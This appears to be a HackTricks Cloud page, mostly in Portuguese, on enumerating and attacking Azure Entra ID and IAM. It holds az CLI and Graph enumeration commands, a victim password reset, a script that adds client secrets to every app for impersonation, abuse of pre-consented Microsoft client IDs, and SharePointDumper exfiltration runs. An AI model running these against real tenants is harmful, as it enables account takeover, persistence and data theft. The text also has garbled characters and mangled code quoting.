Az - Entra ID (AzureAD) & Azure IAM
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
InformaçÔes Båsicas
Azure Active Directory (Azure AD) serve como o serviço em nuvem da Microsoft para gestão de identidade e acesso. à fundamental para permitir que funcionårios façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma grande variedade de outras aplicaçÔes SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se autenticação, autorização e gerenciamento de usuårios.
Recursos-chave do Azure AD incluem autenticação multifator e acesso condicional, alĂ©m de integração transparente com outros serviços de segurança da Microsoft. Esses recursos aumentam significativamente a segurança das identidades dos usuĂĄrios e permitem que as organizaçÔes implementem e apliquem efetivamente suas polĂticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD Ă© vital para o gerenciamento em nuvem das identidades de usuĂĄrios.
Enumeração
ConexĂŁo
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
##Â With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
##Â With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Quando vocĂȘ faz o login via CLI no Azure com qualquer programa, vocĂȘ estĂĄ usando uma Azure Application de um tenant que pertence Ă Microsoft. Essas Applications, como as que vocĂȘ pode criar na sua conta, tĂȘm um client id. VocĂȘ nĂŁo conseguirĂĄ ver todas elas nas allowed applications lists que aparecem no console, mas elas sĂŁo permitidas por padrĂŁo.
Por exemplo, um powershell script que autentica usa um app com client id 1950a258-227b-4e31-a9cf-717495945fc2. Mesmo que o app não apareça no console, um sysadmin poderia bloquear essa aplicação para que os usuårios não possam acessar usando ferramentas que se conectam via esse App.
No entanto, existem outros client-ids de aplicaçÔes que permitirĂŁo que vocĂȘ se conecte ao Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
LocatĂĄrios
# List tenants
az account tenant list
UsuĂĄrios
Para mais informaçÔes sobre usuårios do Entra ID, consulte:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
Alterar a Senha do UsuĂĄrio
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText âForce
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password âVerbose
MFA & PolĂticas de Conditional Access
Ă altamente recomendado adicionar MFA a cada usuĂĄrio; no entanto, algumas empresas nĂŁo o habilitam ou podem configurĂĄ-lo com Conditional Access: o usuĂĄrio serĂĄ obrigado a usar MFA se fizer login a partir de um local especĂfico, navegador ou alguma condição. Essas polĂticas, se nĂŁo configuradas corretamente, podem ser suscetĂveis a bypasses. Verifique:
Az - Conditional Access Policies & MFA Bypass
Grupos
Para mais informaçÔes sobre grupos do Entra ID, confira:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
Adicionar usuĂĄrio ao grupo
Os proprietĂĄrios do grupo podem adicionar novos usuĂĄrios ao grupo
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
Grupos podem ser dinùmicos, o que basicamente significa que se um usuårio cumprir certas condiçÔes, ele serå adicionado a um grupo. Claro, se as condiçÔes forem baseadas em atributos que um usuårio pode controlar, ele pode abusar desse recurso para entrar em outros grupos.
Veja como abusar de grupos dinĂąmicos na pĂĄgina seguinte:
Service Principals
Para mais informaçÔes sobre Entra ID service principals, confira:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
O Owner de um Service Principal pode alterar sua password.
Liste e tente adicionar um client secret em cada Enterprise App
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken âeyJ0eX..â
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applicationsâ âMethodâ = âGETâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applications/$ID/addPasswordâ âMethodâ = âPOSTâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
$Body = @{ âpasswordCredentialâ= @{ âdisplayNameâ = âPasswordâ } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName âObject IDâ -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName âApp IDâ -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName âApp Nameâ -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName âKey IDâ -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName âSecretâ -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output âFailed to add new client secret to â$($App.displayName)â Application.â } } if($Details -ne $null) { Write-Output ââ Write-Output âClient secret added to : â Write-Output $Details | fl * } } else { Write-Output âFailed to Enumerate the Applications.â } }
</details>
### AplicaçÔes
Para mais informaçÔes sobre Applications consulte:
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
Quando um App é gerado 3 tipos de permissÔes são concedidos:
- **PermissÔes** dadas ao **Service Principal** (via roles).
- **PermissÔes** que o **app** pode ter e usar **em nome do usuårio**.
- **API Permissions** que dão ao app permissÔes sobre EntraID sem requerer que outras roles concedam essas permissÔes.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontrar todas as permissÔes de API das aplicaçÔes e marcar as APIs da Microsoft (az cli)
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( âf8cdef31-a31e-4b4a-93e4-5f571e91255aâ â72f988bf-86f1-41af-91ab-2d7cd011db47â )
is_microsoft_owner() { local owner=â$1â local id for id in â${MICROSOFT_OWNER_ORG_IDS[@]}â; do if [ â$ownerâ = â$idâ ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=â$1â local perm_type=â$2â local perm_id=â$3â local key value key=â${resource_app_id}|${perm_type}|${perm_id}â
value=â$(awk -F â\tâ -v k=â$keyâ â$1==k {print $2; exit}â â$tmp_perm_cacheâ)â if [ -n â$valueâ ]; then printf â%s\nâ â$valueâ return 0 fi
if [ â$perm_typeâ = âScopeâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âoauth2PermissionScopes[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â elif [ â$perm_typeâ = âRoleâ ]; then value=â$(az ad sp show âid â$resource_app_idâ âquery âappRoles[?id==â$perm_idâ].value | [0]â -o tsv 2>/dev/null || true)â else value=ââ fi
[ -n â$valueâ ] || value=âUNKNOWNâ printf â%s\t%s\nâ â$keyâ â$valueâ >> â$tmp_perm_cacheâ printf â%s\nâ â$valueâ }
command -v az >/dev/null 2>&1 || { echo âaz CLI not foundâ >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo âjq not foundâ >&2; exit 1; } az account show >/dev/null
apps_json=â$(az ad app list âall âquery â[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]â -o json)â
tmp_map=â$(mktemp)â tmp_ids=â$(mktemp)â tmp_perm_cache=â$(mktemp)â trap ârm -f â$tmp_mapâ â$tmp_idsâ â$tmp_perm_cacheââ EXIT
Build unique resourceAppId values used by applications.
jq -r â.[][2][]?.resourceAppIdâ <<<â$apps_jsonâ | sort -u > â$tmp_idsâ
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n â$ridâ ] || continue sp_json=â$(az ad sp show âid â$ridâ âquery â{owner:appOwnerOrganizationId,name:displayName}â -o json 2>/dev/null || true)â owner=â$(jq -r â.owner // âUNKNOWNââ <<<â$sp_jsonâ)â name=â$(jq -r â.name // âUNKNOWNââ <<<â$sp_jsonâ)â printf â%s\t%s\t%s\nâ â$ridâ â$ownerâ â$nameâ >> â$tmp_mapâ done < â$tmp_idsâ
echo -e âappDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissionsâ
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=â$(jq -r â.[0]â <<<â$rowâ)â app_id=â$(jq -r â.[1]â <<<â$rowâ)â
while IFS= read -r rra; do resource_app_id=â$(jq -r â.resourceAppIdâ <<<â$rraâ)â map_line=â$(awk -F â\tâ -v id=â$resource_app_idâ â$1==id {print; exit}â â$tmp_mapâ)â owner_org=â$(awk -Fâ\tâ â{print $2}â <<<â$map_lineâ)â resource_name=â$(awk -Fâ\tâ â{print $3}â <<<â$map_lineâ)â
[ -n â$owner_orgâ ] || owner_org=âUNKNOWNâ [ -n â$resource_nameâ ] || resource_name=âUNKNOWNâ
if is_microsoft_owner â$owner_orgâ; then is_ms=âtrueâ else is_ms=âfalseâ fi
permissions_csv=ââ while IFS= read -r access; do perm_type=â$(jq -r â.typeâ <<<â$accessâ)â perm_id=â$(jq -r â.idâ <<<â$accessâ)â perm_value=â$(get_permission_value â$resource_app_idâ â$perm_typeâ â$perm_idâ)â perm_label=â${perm_type}:${perm_value}â if [ -z â$permissions_csvâ ]; then permissions_csv=â$perm_labelâ else permissions_csv=â${permissions_csv},${perm_label}â fi done < <(jq -c â.resourceAccess[]â <<<â$rraâ)
echo -e â${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}â done < <(jq -c â.[2][]â <<<â$rowâ) done < <(jq -c â.[]â <<<â$apps_jsonâ)
</details>
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=âMS Graphâ }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=âAzure ADâ }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
Um app com a permissĂŁo
AppRoleAssignment.ReadWritepode escalar para Global Admin concedendo a si mesmo essa função.
For more information check this.
Note
Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a senha da aplicação.
Portanto, se vocĂȘ encontrar essa senha vocĂȘ pode acessar como o service principal inside o tenant.
Observe que essa senha Ă© visĂvel apenas quando gerada (vocĂȘ pode alterĂĄ-la, mas nĂŁo pode obtĂȘ-la novamente).
O owner da application pode add a password a ela (assim ele pode se passar por ela).
Logins como esses service principals nĂŁo sĂŁo marcados como arriscados e eles wonât have MFA.
Itâs possible to find a list of commonly used App IDs that belongs to Microsoft in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Managed Identities
For more information about Managed Identities check:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
FunçÔes do Azure
Para mais informaçÔes sobre as funçÔes do Azure, consulte:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
FunçÔes do Entra ID
Para mais informaçÔes sobre as funçÔes do Azure, consulte:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
Dispositivos
# If you know how to do this send a PR!
Warning
If a device (VM) is AzureAD joined, users from AzureAD vĂŁo poder fazer login.
Além disso, se o usuårio conectado for Owner do dispositivo, ele serå local admin.
Unidades Administrativas
Para mais informaçÔes sobre unidades administrativas, consulte:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Atacantes com um delegated Microsoft Graph token que inclua Sites.Read.All ou Sites.ReadWrite.All podem enumerar sites/drives/items via Graph e entĂŁo obter o conteĂșdo de arquivos atravĂ©s de SharePoint pre-authentication download URLs (URLs com tempo limitado que embutem um access token). O script SharePointDumper automatiza todo o fluxo (enumeração â pre-auth downloads) e emite telemetria por requisição para testes de detecção.
Obtaining usable delegated tokens
- O próprio SharePointDumper não autentica; forneça um access token (opcionalmente refresh token).
- Clientes pré-consentidos first-party clients podem ser abusados para gerar um Graph token sem registrar um app. Exemplo de invocaçÔes
Invoke-Auth(do EntraTokenAid):
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
Note
Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente exigem
-Originpara satisfazer a validação de origem da reply URL.
Executando SharePointDumper para enumeration + exfiltration
- Dump bĂĄsico com UA personalizada / proxy / throttling:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
- Controle de escopo: incluir/excluir sites ou extensÔes e limites globais:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
- Retomar execuçÔes interrompidas (re-enumera, mas ignora itens jå baixados):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
- Atualização automåtica de token em HTTP 401 (requer EntraTokenAid carregado):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
Notas operacionais:
- Prefere tokens CAE-enabled para evitar expiração durante a execução; tentativas de refresh não são registradas no log da API da ferramenta.
- Gera logs de requisição CSV/JSON para Graph + SharePoint e oculta tokens de download do SharePoint embutidos por padrão (configuråvel).
- Suporta custom User-Agent, HTTP proxy, atraso por requisição + jitter, e desligamento seguro com Ctrl+C para modelagem de tråfego durante testes de detecção/IR.
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Mecanismos de Defesa
Privileged Identity Management (PIM)
Privileged Identity Management (PIM) no Azure ajuda a prevenir que privilĂ©gios excessivos sejam atribuĂdos a usuĂĄrios desnecessariamente.
Uma das principais funcionalidades fornecidas pelo PIM Ă© permitir que papĂ©is nĂŁo sejam atribuĂdos a principals que ficam constantemente ativos, mas sim tornĂĄ-los eligĂveis por um perĂodo de tempo (por exemplo: 6 meses). EntĂŁo, sempre que o usuĂĄrio quiser ativar esse papel, ele precisa solicitĂĄ-lo indicando o tempo que precisa do privilĂ©gio (por exemplo: 3 horas). Em seguida, um admin precisa aprovar a solicitação.
Note que o usuårio também poderå solicitar a extensão desse tempo.
AlĂ©m disso, o PIM envia e-mails sempre que um papel privilegiado Ă© atribuĂdo a alguĂ©m.
.png)
Quando o PIM estĂĄ habilitado Ă© possĂvel configurar cada papel com certos requisitos como:
- Duração måxima (horas) de ativação
- Exigir MFA na ativação
- Exigir contexto de autenticação do Conditional Access
- Exigir justificativa na ativação
- Exigir informação de ticket na ativação
- Exigir aprovação para ativar
- Tempo mĂĄximo para expirar as atribuiçÔes elegĂveis
- Muitas outras configuraçÔes sobre quando e para quem enviar notificaçÔes quando certas açÔes ocorrerem com esse papel
Conditional Access Policies
Check:
Az - Conditional Access Policies & MFA Bypass
Entra Identity Protection
Entra Identity Protection é um serviço de segurança que permite detectar quando um usuårio ou um sign-in é arriscado demais para ser aceito, permitindo bloquear o usuårio ou a tentativa de sign-in.
Permite ao admin configurĂĄ-lo para bloquear tentativas quando o risco for âLow and aboveâ, âMedium and aboveâ ou âHighâ. Embora, por padrĂŁo, esteja completamente disabled:
.png)
Tip
Atualmente Ă© recomendado adicionar essas restriçÔes via Conditional Access policies, onde Ă© possĂvel configurar as mesmas opçÔes.
Entra Password Protection
Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) é um recurso de segurança que ajuda a prevenir o abuso de senhas fracas bloqueando contas quando vårias tentativas de login sem sucesso ocorrem.
TambĂ©m permite bloquear uma lista personalizada de senhas que vocĂȘ precisa fornecer.
Pode ser aplicado tanto no nĂvel cloud quanto no Active Directory on-premises.
O modo padrĂŁo Ă© Audit:
.png)
References
- https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units
- SharePointDumper
- EntraTokenAid
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

